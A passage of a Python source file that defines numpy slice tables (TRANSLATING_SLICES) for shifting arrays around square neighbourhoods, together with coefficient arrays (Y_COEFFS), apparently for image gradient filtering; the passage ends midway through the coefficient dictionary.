import numpy as np TRANSLATING_SLICES = { 0:[ (Ellipsis, slice(None, -2, None), slice(None, -2, None)), (Ellipsis, slice(None, -2, None), slice(1, -1, None)), (Ellipsis, slice(None, -2, None), slice(2, None, None)), (Ellipsis, slice(1, -1, None), slice(2, None, None)), (Ellipsis, slice(2, None, None), slice(2, None, None)), (Ellipsis, slice(2, None, None), slice(1, -1, None)), (Ellipsis, slice(2, None, None), slice(None, -2, None)), (Ellipsis, slice(1, -1, None), slice(None, -2, None)), ], 1:[ (Ellipsis, slice(None, -4, None), slice(None, -4, None)), (Ellipsis, slice(None, -4, None), slice(1, -3, None)), (Ellipsis, slice(None, -4, None), slice(2, -2, None)), (Ellipsis, slice(None, -4, None), slice(3, -1, None)), (Ellipsis, slice(None, -4, None), slice(4, None, None)), (Ellipsis, slice(1, -3, None), slice(4, None, None)), (Ellipsis, slice(2, -2, None), slice(4, None, None)), (Ellipsis, slice(3, -1, None), slice(4, None, None)), (Ellipsis, slice(4, None, None), slice(4, None, None)), (Ellipsis, slice(4, None, None), slice(3, -1, None)), (Ellipsis, slice(4, None, None), slice(2, -2, None)), (Ellipsis, slice(4, None, None), slice(1, -3, None)), (Ellipsis, slice(4, None, None), slice(None, -4, None)), (Ellipsis, slice(3, -1, None), slice(None, -4, None)), (Ellipsis, slice(2, -2, None), slice(None, -4, None)), (Ellipsis, slice(1, -3, None), slice(None, -4, None)), ], 2:[ (Ellipsis, slice(None, -6, None), slice(None, -6, None)), (Ellipsis, slice(None, -6, None), slice(1, -5, None)), (Ellipsis, slice(None, -6, None), slice(2, -4, None)), (Ellipsis, slice(None, -6, None), slice(3, -3, None)), (Ellipsis, slice(None, -6, None), slice(4, -2, None)), (Ellipsis, slice(None, -6, None), slice(5, -1, None)), (Ellipsis, slice(None, -6, None), slice(6, None, None)), (Ellipsis, slice(1, -5, None), slice(6, None, None)), (Ellipsis, slice(2, -4, None), slice(6, None, None)), (Ellipsis, slice(3, -3, None), slice(6, None, None)), (Ellipsis, slice(4, -2, None), slice(6, None, None)), (Ellipsis, slice(5, -1, None), slice(6, None, None)), (Ellipsis, slice(6, None, None), slice(6, None, None)), (Ellipsis, slice(6, None, None), slice(5, -1, None)), (Ellipsis, slice(6, None, None), slice(4, -2, None)), (Ellipsis, slice(6, None, None), slice(3, -3, None)), (Ellipsis, slice(6, None, None), slice(2, -4, None)), (Ellipsis, slice(6, None, None), slice(1, -5, None)), (Ellipsis, slice(6, None, None), slice(None, -6, None)), (Ellipsis, slice(5, -1, None), slice(None, -6, None)), (Ellipsis, slice(4, -2, None), slice(None, -6, None)), (Ellipsis, slice(3, -3, None), slice(None, -6, None)), (Ellipsis, slice(2, -4, None), slice(None, -6, None)), (Ellipsis, slice(1, -5, None), slice(None, -6, None)), ], 3:[ (Ellipsis, slice(None, -8, None), slice(None, -8, None)), (Ellipsis, slice(None, -8, None), slice(1, -7, None)), (Ellipsis, slice(None, -8, None), slice(2, -6, None)), (Ellipsis, slice(None, -8, None), slice(3, -5, None)), (Ellipsis, slice(None, -8, None), slice(4, -4, None)), (Ellipsis, slice(None, -8, None), slice(5, -3, None)), (Ellipsis, slice(None, -8, None), slice(6, -2, None)), (Ellipsis, slice(None, -8, None), slice(7, -1, None)), (Ellipsis, slice(None, -8, None), slice(8, None, None)), (Ellipsis, slice(1, -7, None), slice(8, None, None)), (Ellipsis, slice(2, -6, None), slice(8, None, None)), (Ellipsis, slice(3, -5, None), slice(8, None, None)), (Ellipsis, slice(4, -4, None), slice(8, None, None)), (Ellipsis, slice(5, -3, None), slice(8, None, None)), (Ellipsis, slice(6, -2, None), slice(8, None, None)), (Ellipsis, slice(7, -1, None), slice(8, None, None)), (Ellipsis, slice(8, None, None), slice(8, None, None)), (Ellipsis, slice(8, None, None), slice(7, -1, None)), (Ellipsis, slice(8, None, None), slice(6, -2, None)), (Ellipsis, slice(8, None, None), slice(5, -3, None)), (Ellipsis, slice(8, None, None), slice(4, -4, None)), (Ellipsis, slice(8, None, None), slice(3, -5, None)), (Ellipsis, slice(8, None, None), slice(2, -6, None)), (Ellipsis, slice(8, None, None), slice(1, -7, None)), (Ellipsis, slice(8, None, None), slice(None, -8, None)), (Ellipsis, slice(7, -1, None), slice(None, -8, None)), (Ellipsis, slice(6, -2, None), slice(None, -8, None)), (Ellipsis, slice(5, -3, None), slice(None, -8, None)), (Ellipsis, slice(4, -4, None), slice(None, -8, None)), (Ellipsis, slice(3, -5, None), slice(None, -8, None)), (Ellipsis, slice(2, -6, None), slice(None, -8, None)), (Ellipsis, slice(1, -7, None), slice(None, -8, None)), ], 4:[ (Ellipsis, slice(None, -10, None), slice(None, -10, None)), (Ellipsis, slice(None, -10, None), slice(1, -9, None)), (Ellipsis, slice(None, -10, None), slice(2, -8, None)), (Ellipsis, slice(None, -10, None), slice(3, -7, None)), (Ellipsis, slice(None, -10, None), slice(4, -6, None)), (Ellipsis, slice(None, -10, None), slice(5, -5, None)), (Ellipsis, slice(None, -10, None), slice(6, -4, None)), (Ellipsis, slice(None, -10, None), slice(7, -3, None)), (Ellipsis, slice(None, -10, None), slice(8, -2, None)), (Ellipsis, slice(None, -10, None), slice(9, -1, None)), (Ellipsis, slice(None, -10, None), slice(10, None, None)), (Ellipsis, slice(1, -9, None), slice(10, None, None)), (Ellipsis, slice(2, -8, None), slice(10, None, None)), (Ellipsis, slice(3, -7, None), slice(10, None, None)), (Ellipsis, slice(4, -6, None), slice(10, None, None)), (Ellipsis, slice(5, -5, None), slice(10, None, None)), (Ellipsis, slice(6, -4, None), slice(10, None, None)), (Ellipsis, slice(7, -3, None), slice(10, None, None)), (Ellipsis, slice(8, -2, None), slice(10, None, None)), (Ellipsis, slice(9, -1, None), slice(10, None, None)), (Ellipsis, slice(10, None, None), slice(10, None, None)), (Ellipsis, slice(10, None, None), slice(9, -1, None)), (Ellipsis, slice(10, None, None), slice(8, -2, None)), (Ellipsis, slice(10, None, None), slice(7, -3, None)), (Ellipsis, slice(10, None, None), slice(6, -4, None)), (Ellipsis, slice(10, None, None), slice(5, -5, None)), (Ellipsis, slice(10, None, None), slice(4, -6, None)), (Ellipsis, slice(10, None, None), slice(3, -7, None)), (Ellipsis, slice(10, None, None), slice(2, -8, None)), (Ellipsis, slice(10, None, None), slice(1, -9, None)), (Ellipsis, slice(10, None, None), slice(None, -10, None)), (Ellipsis, slice(9, -1, None), slice(None, -10, None)), (Ellipsis, slice(8, -2, None), slice(None, -10, None)), (Ellipsis, slice(7, -3, None), slice(None, -10, None)), (Ellipsis, slice(6, -4, None), slice(None, -10, None)), (Ellipsis, slice(5, -5, None), slice(None, -10, None)), (Ellipsis, slice(4, -6, None), slice(None, -10, None)), (Ellipsis, slice(3, -7, None), slice(None, -10, None)), (Ellipsis, slice(2, -8, None), slice(None, -10, None)), (Ellipsis, slice(1, -9, None), slice(None, -10, None)), ], 5:[ (Ellipsis, slice(None, -12, None), slice(None, -12, None)), (Ellipsis, slice(None, -12, None), slice(1, -11, None)), (Ellipsis, slice(None, -12, None), slice(2, -10, None)), (Ellipsis, slice(None, -12, None), slice(3, -9, None)), (Ellipsis, slice(None, -12, None), slice(4, -8, None)), (Ellipsis, slice(None, -12, None), slice(5, -7, None)), (Ellipsis, slice(None, -12, None), slice(6, -6, None)), (Ellipsis, slice(None, -12, None), slice(7, -5, None)), (Ellipsis, slice(None, -12, None), slice(8, -4, None)), (Ellipsis, slice(None, -12, None), slice(9, -3, None)), (Ellipsis, slice(None, -12, None), slice(10, -2, None)), (Ellipsis, slice(None, -12, None), slice(11, -1, None)), (Ellipsis, slice(None, -12, None), slice(12, None, None)), (Ellipsis, slice(1, -11, None), slice(12, None, None)), (Ellipsis, slice(2, -10, None), slice(12, None, None)), (Ellipsis, slice(3, -9, None), slice(12, None, None)), (Ellipsis, slice(4, -8, None), slice(12, None, None)), (Ellipsis, slice(5, -7, None), slice(12, None, None)), (Ellipsis, slice(6, -6, None), slice(12, None, None)), (Ellipsis, slice(7, -5, None), slice(12, None, None)), (Ellipsis, slice(8, -4, None), slice(12, None, None)), (Ellipsis, slice(9, -3, None), slice(12, None, None)), (Ellipsis, slice(10, -2, None), slice(12, None, None)), (Ellipsis, slice(11, -1, None), slice(12, None, None)), (Ellipsis, slice(12, None, None), slice(12, None, None)), (Ellipsis, slice(12, None, None), slice(11, -1, None)), (Ellipsis, slice(12, None, None), slice(10, -2, None)), (Ellipsis, slice(12, None, None), slice(9, -3, None)), (Ellipsis, slice(12, None, None), slice(8, -4, None)), (Ellipsis, slice(12, None, None), slice(7, -5, None)), (Ellipsis, slice(12, None, None), slice(6, -6, None)), (Ellipsis, slice(12, None, None), slice(5, -7, None)), (Ellipsis, slice(12, None, None), slice(4, -8, None)), (Ellipsis, slice(12, None, None), slice(3, -9, None)), (Ellipsis, slice(12, None, None), slice(2, -10, None)), (Ellipsis, slice(12, None, None), slice(1, -11, None)), (Ellipsis, slice(12, None, None), slice(None, -12, None)), (Ellipsis, slice(11, -1, None), slice(None, -12, None)), (Ellipsis, slice(10, -2, None), slice(None, -12, None)), (Ellipsis, slice(9, -3, None), slice(None, -12, None)), (Ellipsis, slice(8, -4, None), slice(None, -12, None)), (Ellipsis, slice(7, -5, None), slice(None, -12, None)), (Ellipsis, slice(6, -6, None), slice(None, -12, None)), (Ellipsis, slice(5, -7, None), slice(None, -12, None)), (Ellipsis, slice(4, -8, None), slice(None, -12, None)), (Ellipsis, slice(3, -9, None), slice(None, -12, None)), (Ellipsis, slice(2, -10, None), slice(None, -12, None)), (Ellipsis, slice(1, -11, None), slice(None, -12, None)), ], 6:[ (Ellipsis, slice(None, -14, None), slice(None, -14, None)), (Ellipsis, slice(None, -14, None), slice(1, -13, None)), (Ellipsis, slice(None, -14, None), slice(2, -12, None)), (Ellipsis, slice(None, -14, None), slice(3, -11, None)), (Ellipsis, slice(None, -14, None), slice(4, -10, None)), (Ellipsis, slice(None, -14, None), slice(5, -9, None)), (Ellipsis, slice(None, -14, None), slice(6, -8, None)), (Ellipsis, slice(None, -14, None), slice(7, -7, None)), (Ellipsis, slice(None, -14, None), slice(8, -6, None)), (Ellipsis, slice(None, -14, None), slice(9, -5, None)), (Ellipsis, slice(None, -14, None), slice(10, -4, None)), (Ellipsis, slice(None, -14, None), slice(11, -3, None)), (Ellipsis, slice(None, -14, None), slice(12, -2, None)), (Ellipsis, slice(None, -14, None), slice(13, -1, None)), (Ellipsis, slice(None, -14, None), slice(14, None, None)), (Ellipsis, slice(1, -13, None), slice(14, None, None)), (Ellipsis, slice(2, -12, None), slice(14, None, None)), (Ellipsis, slice(3, -11, None), slice(14, None, None)), (Ellipsis, slice(4, -10, None), slice(14, None, None)), (Ellipsis, slice(5, -9, None), slice(14, None, None)), (Ellipsis, slice(6, -8, None), slice(14, None, None)), (Ellipsis, slice(7, -7, None), slice(14, None, None)), (Ellipsis, slice(8, -6, None), slice(14, None, None)), (Ellipsis, slice(9, -5, None), slice(14, None, None)), (Ellipsis, slice(10, -4, None), slice(14, None, None)), (Ellipsis, slice(11, -3, None), slice(14, None, None)), (Ellipsis, slice(12, -2, None), slice(14, None, None)), (Ellipsis, slice(13, -1, None), slice(14, None, None)), (Ellipsis, slice(14, None, None), slice(14, None, None)), (Ellipsis, slice(14, None, None), slice(13, -1, None)), (Ellipsis, slice(14, None, None), slice(12, -2, None)), (Ellipsis, slice(14, None, None), slice(11, -3, None)), (Ellipsis, slice(14, None, None), slice(10, -4, None)), (Ellipsis, slice(14, None, None), slice(9, -5, None)), (Ellipsis, slice(14, None, None), slice(8, -6, None)), (Ellipsis, slice(14, None, None), slice(7, -7, None)), (Ellipsis, slice(14, None, None), slice(6, -8, None)), (Ellipsis, slice(14, None, None), slice(5, -9, None)), (Ellipsis, slice(14, None, None), slice(4, -10, None)), (Ellipsis, slice(14, None, None), slice(3, -11, None)), (Ellipsis, slice(14, None, None), slice(2, -12, None)), (Ellipsis, slice(14, None, None), slice(1, -13, None)), (Ellipsis, slice(14, None, None), slice(None, -14, None)), (Ellipsis, slice(13, -1, None), slice(None, -14, None)), (Ellipsis, slice(12, -2, None), slice(None, -14, None)), (Ellipsis, slice(11, -3, None), slice(None, -14, None)), (Ellipsis, slice(10, -4, None), slice(None, -14, None)), (Ellipsis, slice(9, -5, None), slice(None, -14, None)), (Ellipsis, slice(8, -6, None), slice(None, -14, None)), (Ellipsis, slice(7, -7, None), slice(None, -14, None)), (Ellipsis, slice(6, -8, None), slice(None, -14, None)), (Ellipsis, slice(5, -9, None), slice(None, -14, None)), (Ellipsis, slice(4, -10, None), slice(None, -14, None)), (Ellipsis, slice(3, -11, None), slice(None, -14, None)), (Ellipsis, slice(2, -12, None), slice(None, -14, None)), (Ellipsis, slice(1, -13, None), slice(None, -14, None)), ], 7:[ (Ellipsis, slice(None, -16, None), slice(None, -16, None)), (Ellipsis, slice(None, -16, None), slice(1, -15, None)), (Ellipsis, slice(None, -16, None), slice(2, -14, None)), (Ellipsis, slice(None, -16, None), slice(3, -13, None)), (Ellipsis, slice(None, -16, None), slice(4, -12, None)), (Ellipsis, slice(None, -16, None), slice(5, -11, None)), (Ellipsis, slice(None, -16, None), slice(6, -10, None)), (Ellipsis, slice(None, -16, None), slice(7, -9, None)), (Ellipsis, slice(None, -16, None), slice(8, -8, None)), (Ellipsis, slice(None, -16, None), slice(9, -7, None)), (Ellipsis, slice(None, -16, None), slice(10, -6, None)), (Ellipsis, slice(None, -16, None), slice(11, -5, None)), (Ellipsis, slice(None, -16, None), slice(12, -4, None)), (Ellipsis, slice(None, -16, None), slice(13, -3, None)), (Ellipsis, slice(None, -16, None), slice(14, -2, None)), (Ellipsis, slice(None, -16, None), slice(15, -1, None)), (Ellipsis, slice(None, -16, None), slice(16, None, None)), (Ellipsis, slice(1, -15, None), slice(16, None, None)), (Ellipsis, slice(2, -14, None), slice(16, None, None)), (Ellipsis, slice(3, -13, None), slice(16, None, None)), (Ellipsis, slice(4, -12, None), slice(16, None, None)), (Ellipsis, slice(5, -11, None), slice(16, None, None)), (Ellipsis, slice(6, -10, None), slice(16, None, None)), (Ellipsis, slice(7, -9, None), slice(16, None, None)), (Ellipsis, slice(8, -8, None), slice(16, None, None)), (Ellipsis, slice(9, -7, None), slice(16, None, None)), (Ellipsis, slice(10, -6, None), slice(16, None, None)), (Ellipsis, slice(11, -5, None), slice(16, None, None)), (Ellipsis, slice(12, -4, None), slice(16, None, None)), (Ellipsis, slice(13, -3, None), slice(16, None, None)), (Ellipsis, slice(14, -2, None), slice(16, None, None)), (Ellipsis, slice(15, -1, None), slice(16, None, None)), (Ellipsis, slice(16, None, None), slice(16, None, None)), (Ellipsis, slice(16, None, None), slice(15, -1, None)), (Ellipsis, slice(16, None, None), slice(14, -2, None)), (Ellipsis, slice(16, None, None), slice(13, -3, None)), (Ellipsis, slice(16, None, None), slice(12, -4, None)), (Ellipsis, slice(16, None, None), slice(11, -5, None)), (Ellipsis, slice(16, None, None), slice(10, -6, None)), (Ellipsis, slice(16, None, None), slice(9, -7, None)), (Ellipsis, slice(16, None, None), slice(8, -8, None)), (Ellipsis, slice(16, None, None), slice(7, -9, None)), (Ellipsis, slice(16, None, None), slice(6, -10, None)), (Ellipsis, slice(16, None, None), slice(5, -11, None)), (Ellipsis, slice(16, None, None), slice(4, -12, None)), (Ellipsis, slice(16, None, None), slice(3, -13, None)), (Ellipsis, slice(16, None, None), slice(2, -14, None)), (Ellipsis, slice(16, None, None), slice(1, -15, None)), (Ellipsis, slice(16, None, None), slice(None, -16, None)), (Ellipsis, slice(15, -1, None), slice(None, -16, None)), (Ellipsis, slice(14, -2, None), slice(None, -16, None)), (Ellipsis, slice(13, -3, None), slice(None, -16, None)), (Ellipsis, slice(12, -4, None), slice(None, -16, None)), (Ellipsis, slice(11, -5, None), slice(None, -16, None)), (Ellipsis, slice(10, -6, None), slice(None, -16, None)), (Ellipsis, slice(9, -7, None), slice(None, -16, None)), (Ellipsis, slice(8, -8, None), slice(None, -16, None)), (Ellipsis, slice(7, -9, None), slice(None, -16, None)), (Ellipsis, slice(6, -10, None), slice(None, -16, None)), (Ellipsis, slice(5, -11, None), slice(None, -16, None)), (Ellipsis, slice(4, -12, None), slice(None, -16, None)), (Ellipsis, slice(3, -13, None), slice(None, -16, None)), (Ellipsis, slice(2, -14, None), slice(None, -16, None)), (Ellipsis, slice(1, -15, None), slice(None, -16, None)), ], 8:[ (Ellipsis, slice(None, -18, None), slice(None, -18, None)), (Ellipsis, slice(None, -18, None), slice(1, -17, None)), (Ellipsis, slice(None, -18, None), slice(2, -16, None)), (Ellipsis, slice(None, -18, None), slice(3, -15, None)), (Ellipsis, slice(None, -18, None), slice(4, -14, None)), (Ellipsis, slice(None, -18, None), slice(5, -13, None)), (Ellipsis, slice(None, -18, None), slice(6, -12, None)), (Ellipsis, slice(None, -18, None), slice(7, -11, None)), (Ellipsis, slice(None, -18, None), slice(8, -10, None)), (Ellipsis, slice(None, -18, None), slice(9, -9, None)), (Ellipsis, slice(None, -18, None), slice(10, -8, None)), (Ellipsis, slice(None, -18, None), slice(11, -7, None)), (Ellipsis, slice(None, -18, None), slice(12, -6, None)), (Ellipsis, slice(None, -18, None), slice(13, -5, None)), (Ellipsis, slice(None, -18, None), slice(14, -4, None)), (Ellipsis, slice(None, -18, None), slice(15, -3, None)), (Ellipsis, slice(None, -18, None), slice(16, -2, None)), (Ellipsis, slice(None, -18, None), slice(17, -1, None)), (Ellipsis, slice(None, -18, None), slice(18, None, None)), (Ellipsis, slice(1, -17, None), slice(18, None, None)), (Ellipsis, slice(2, -16, None), slice(18, None, None)), (Ellipsis, slice(3, -15, None), slice(18, None, None)), (Ellipsis, slice(4, -14, None), slice(18, None, None)), (Ellipsis, slice(5, -13, None), slice(18, None, None)), (Ellipsis, slice(6, -12, None), slice(18, None, None)), (Ellipsis, slice(7, -11, None), slice(18, None, None)), (Ellipsis, slice(8, -10, None), slice(18, None, None)), (Ellipsis, slice(9, -9, None), slice(18, None, None)), (Ellipsis, slice(10, -8, None), slice(18, None, None)), (Ellipsis, slice(11, -7, None), slice(18, None, None)), (Ellipsis, slice(12, -6, None), slice(18, None, None)), (Ellipsis, slice(13, -5, None), slice(18, None, None)), (Ellipsis, slice(14, -4, None), slice(18, None, None)), (Ellipsis, slice(15, -3, None), slice(18, None, None)), (Ellipsis, slice(16, -2, None), slice(18, None, None)), (Ellipsis, slice(17, -1, None), slice(18, None, None)), (Ellipsis, slice(18, None, None), slice(18, None, None)), (Ellipsis, slice(18, None, None), slice(17, -1, None)), (Ellipsis, slice(18, None, None), slice(16, -2, None)), (Ellipsis, slice(18, None, None), slice(15, -3, None)), (Ellipsis, slice(18, None, None), slice(14, -4, None)), (Ellipsis, slice(18, None, None), slice(13, -5, None)), (Ellipsis, slice(18, None, None), slice(12, -6, None)), (Ellipsis, slice(18, None, None), slice(11, -7, None)), (Ellipsis, slice(18, None, None), slice(10, -8, None)), (Ellipsis, slice(18, None, None), slice(9, -9, None)), (Ellipsis, slice(18, None, None), slice(8, -10, None)), (Ellipsis, slice(18, None, None), slice(7, -11, None)), (Ellipsis, slice(18, None, None), slice(6, -12, None)), (Ellipsis, slice(18, None, None), slice(5, -13, None)), (Ellipsis, slice(18, None, None), slice(4, -14, None)), (Ellipsis, slice(18, None, None), slice(3, -15, None)), (Ellipsis, slice(18, None, None), slice(2, -16, None)), (Ellipsis, slice(18, None, None), slice(1, -17, None)), (Ellipsis, slice(18, None, None), slice(None, -18, None)), (Ellipsis, slice(17, -1, None), slice(None, -18, None)), (Ellipsis, slice(16, -2, None), slice(None, -18, None)), (Ellipsis, slice(15, -3, None), slice(None, -18, None)), (Ellipsis, slice(14, -4, None), slice(None, -18, None)), (Ellipsis, slice(13, -5, None), slice(None, -18, None)), (Ellipsis, slice(12, -6, None), slice(None, -18, None)), (Ellipsis, slice(11, -7, None), slice(None, -18, None)), (Ellipsis, slice(10, -8, None), slice(None, -18, None)), (Ellipsis, slice(9, -9, None), slice(None, -18, None)), (Ellipsis, slice(8, -10, None), slice(None, -18, None)), (Ellipsis, slice(7, -11, None), slice(None, -18, None)), (Ellipsis, slice(6, -12, None), slice(None, -18, None)), (Ellipsis, slice(5, -13, None), slice(None, -18, None)), (Ellipsis, slice(4, -14, None), slice(None, -18, None)), (Ellipsis, slice(3, -15, None), slice(None, -18, None)), (Ellipsis, slice(2, -16, None), slice(None, -18, None)), (Ellipsis, slice(1, -17, None), slice(None, -18, None)), ], 9:[ (Ellipsis, slice(None, -20, None), slice(None, -20, None)), (Ellipsis, slice(None, -20, None), slice(1, -19, None)), (Ellipsis, slice(None, -20, None), slice(2, -18, None)), (Ellipsis, slice(None, -20, None), slice(3, -17, None)), (Ellipsis, slice(None, -20, None), slice(4, -16, None)), (Ellipsis, slice(None, -20, None), slice(5, -15, None)), (Ellipsis, slice(None, -20, None), slice(6, -14, None)), (Ellipsis, slice(None, -20, None), slice(7, -13, None)), (Ellipsis, slice(None, -20, None), slice(8, -12, None)), (Ellipsis, slice(None, -20, None), slice(9, -11, None)), (Ellipsis, slice(None, -20, None), slice(10, -10, None)), (Ellipsis, slice(None, -20, None), slice(11, -9, None)), (Ellipsis, slice(None, -20, None), slice(12, -8, None)), (Ellipsis, slice(None, -20, None), slice(13, -7, None)), (Ellipsis, slice(None, -20, None), slice(14, -6, None)), (Ellipsis, slice(None, -20, None), slice(15, -5, None)), (Ellipsis, slice(None, -20, None), slice(16, -4, None)), (Ellipsis, slice(None, -20, None), slice(17, -3, None)), (Ellipsis, slice(None, -20, None), slice(18, -2, None)), (Ellipsis, slice(None, -20, None), slice(19, -1, None)), (Ellipsis, slice(None, -20, None), slice(20, None, None)), (Ellipsis, slice(1, -19, None), slice(20, None, None)), (Ellipsis, slice(2, -18, None), slice(20, None, None)), (Ellipsis, slice(3, -17, None), slice(20, None, None)), (Ellipsis, slice(4, -16, None), slice(20, None, None)), (Ellipsis, slice(5, -15, None), slice(20, None, None)), (Ellipsis, slice(6, -14, None), slice(20, None, None)), (Ellipsis, slice(7, -13, None), slice(20, None, None)), (Ellipsis, slice(8, -12, None), slice(20, None, None)), (Ellipsis, slice(9, -11, None), slice(20, None, None)), (Ellipsis, slice(10, -10, None), slice(20, None, None)), (Ellipsis, slice(11, -9, None), slice(20, None, None)), (Ellipsis, slice(12, -8, None), slice(20, None, None)), (Ellipsis, slice(13, -7, None), slice(20, None, None)), (Ellipsis, slice(14, -6, None), slice(20, None, None)), (Ellipsis, slice(15, -5, None), slice(20, None, None)), (Ellipsis, slice(16, -4, None), slice(20, None, None)), (Ellipsis, slice(17, -3, None), slice(20, None, None)), (Ellipsis, slice(18, -2, None), slice(20, None, None)), (Ellipsis, slice(19, -1, None), slice(20, None, None)), (Ellipsis, slice(20, None, None), slice(20, None, None)), (Ellipsis, slice(20, None, None), slice(19, -1, None)), (Ellipsis, slice(20, None, None), slice(18, -2, None)), (Ellipsis, slice(20, None, None), slice(17, -3, None)), (Ellipsis, slice(20, None, None), slice(16, -4, None)), (Ellipsis, slice(20, None, None), slice(15, -5, None)), (Ellipsis, slice(20, None, None), slice(14, -6, None)), (Ellipsis, slice(20, None, None), slice(13, -7, None)), (Ellipsis, slice(20, None, None), slice(12, -8, None)), (Ellipsis, slice(20, None, None), slice(11, -9, None)), (Ellipsis, slice(20, None, None), slice(10, -10, None)), (Ellipsis, slice(20, None, None), slice(9, -11, None)), (Ellipsis, slice(20, None, None), slice(8, -12, None)), (Ellipsis, slice(20, None, None), slice(7, -13, None)), (Ellipsis, slice(20, None, None), slice(6, -14, None)), (Ellipsis, slice(20, None, None), slice(5, -15, None)), (Ellipsis, slice(20, None, None), slice(4, -16, None)), (Ellipsis, slice(20, None, None), slice(3, -17, None)), (Ellipsis, slice(20, None, None), slice(2, -18, None)), (Ellipsis, slice(20, None, None), slice(1, -19, None)), (Ellipsis, slice(20, None, None), slice(None, -20, None)), (Ellipsis, slice(19, -1, None), slice(None, -20, None)), (Ellipsis, slice(18, -2, None), slice(None, -20, None)), (Ellipsis, slice(17, -3, None), slice(None, -20, None)), (Ellipsis, slice(16, -4, None), slice(None, -20, None)), (Ellipsis, slice(15, -5, None), slice(None, -20, None)), (Ellipsis, slice(14, -6, None), slice(None, -20, None)), (Ellipsis, slice(13, -7, None), slice(None, -20, None)), (Ellipsis, slice(12, -8, None), slice(None, -20, None)), (Ellipsis, slice(11, -9, None), slice(None, -20, None)), (Ellipsis, slice(10, -10, None), slice(None, -20, None)), (Ellipsis, slice(9, -11, None), slice(None, -20, None)), (Ellipsis, slice(8, -12, None), slice(None, -20, None)), (Ellipsis, slice(7, -13, None), slice(None, -20, None)), (Ellipsis, slice(6, -14, None), slice(None, -20, None)), (Ellipsis, slice(5, -15, None), slice(None, -20, None)), (Ellipsis, slice(4, -16, None), slice(None, -20, None)), (Ellipsis, slice(3, -17, None), slice(None, -20, None)), (Ellipsis, slice(2, -18, None), slice(None, -20, None)), (Ellipsis, slice(1, -19, None), slice(None, -20, None)), ], } Y_COEFFS = { 1:np.array([-0.5, -0.5, -0.5, 0. , 0.5, 0.5, 0.5, 0. ]), 2:np.array([-0.25, -0.25, -0.25, -0.25, -0.25, -0.5 , 0. , 0.5 , 0.25, 0.25, 0.25, 0.25, 0.25, 0.5 , 0. , -0.5 ]), 3:np.array([-0.16666667, -0.16666667, -0.16666667, -0.16666667, -0.16666667, -0.16666667, -0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.16666667, 0.16666667, 0.16666667, 0.16666667, 0.16666667, 0.16666667, 0.25 , 0.5 , 0. , -0.5 , -0.25 ]), 4:np.array([-0.125 , -0.125 , -0.125 , -0.125 , -0.125 , -0.125 , -0.125 , -0.125 , -0.125 , -0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.125 , 0.125 , 0.125 , 0.125 , 0.125 , 0.125 , 0.125 , 0.125 , 0.125 , 0.16666667, 0.25 , 0.5 , 0. , -0.5 , -0.25 , -0.16666667]), 5:np.array([-0.1 , -0.1 , -0.1 , -0.1 , -0.1 , -0.1 , -0.1 , -0.1 , -0.1 , -0.1 , -0.1 , -0.125 , -0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.125 , 0.1 , 0.1 , 0.1 , 0.1 , 0.1 , 0.1 , 0.1 , 0.1 , 0.1 , 0.1 , 0.1 , 0.125 , 0.16666667, 0.25 , 0.5 , 0. , -0.5 , -0.25 , -0.16666667, -0.125 ]), 6:np.array([-0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.08333333, -0.1 , -0.125 , -0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.125 , 0.1 , 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.08333333, 0.1 , 0.125 , 0.16666667, 0.25 , 0.5 , 0. , -0.5 , -0.25 , -0.16666667, -0.125 , -0.1 ]), 7:np.array([-0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.07142857, -0.08333333, -0.1 , -0.125 , -0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.125 , 0.1 , 0.08333333, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.07142857, 0.08333333, 0.1 , 0.125 , 0.16666667, 0.25 , 0.5 , 0. , -0.5 , -0.25 , -0.16666667, -0.125 , -0.1 , -0.08333333]), 8:np.array([-0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.0625 , -0.07142857, -0.08333333, -0.1 , -0.125 , -0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.125 , 0.1 , 0.08333333, 0.07142857, 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.0625 , 0.07142857, 0.08333333, 0.1 , 0.125 , 0.16666667, 0.25 , 0.5 , 0. , -0.5 , -0.25 , -0.16666667, -0.125 , -0.1 , -0.08333333, -0.07142857]), 9:np.array([-0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.05555556, -0.0625 , -0.07142857, -0.08333333, -0.1 , -0.125 , -0.16666667, -0.25 , -0.5 , 0. , 0.5 , 0.25 , 0.16666667, 0.125 , 0.1 , 0.08333333, 0.07142857, 0.0625 , 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.05555556, 0.0625 , 0.07142857, 0.08333333, 0.1 , 0.125 , 0.16666667, 0.25 , 0.5 , 0. , -0.5 , -0.25 , -0.16666667, -0.125 , -0.1 , -0.08333333, -0.07142857, -0.0625 ]), 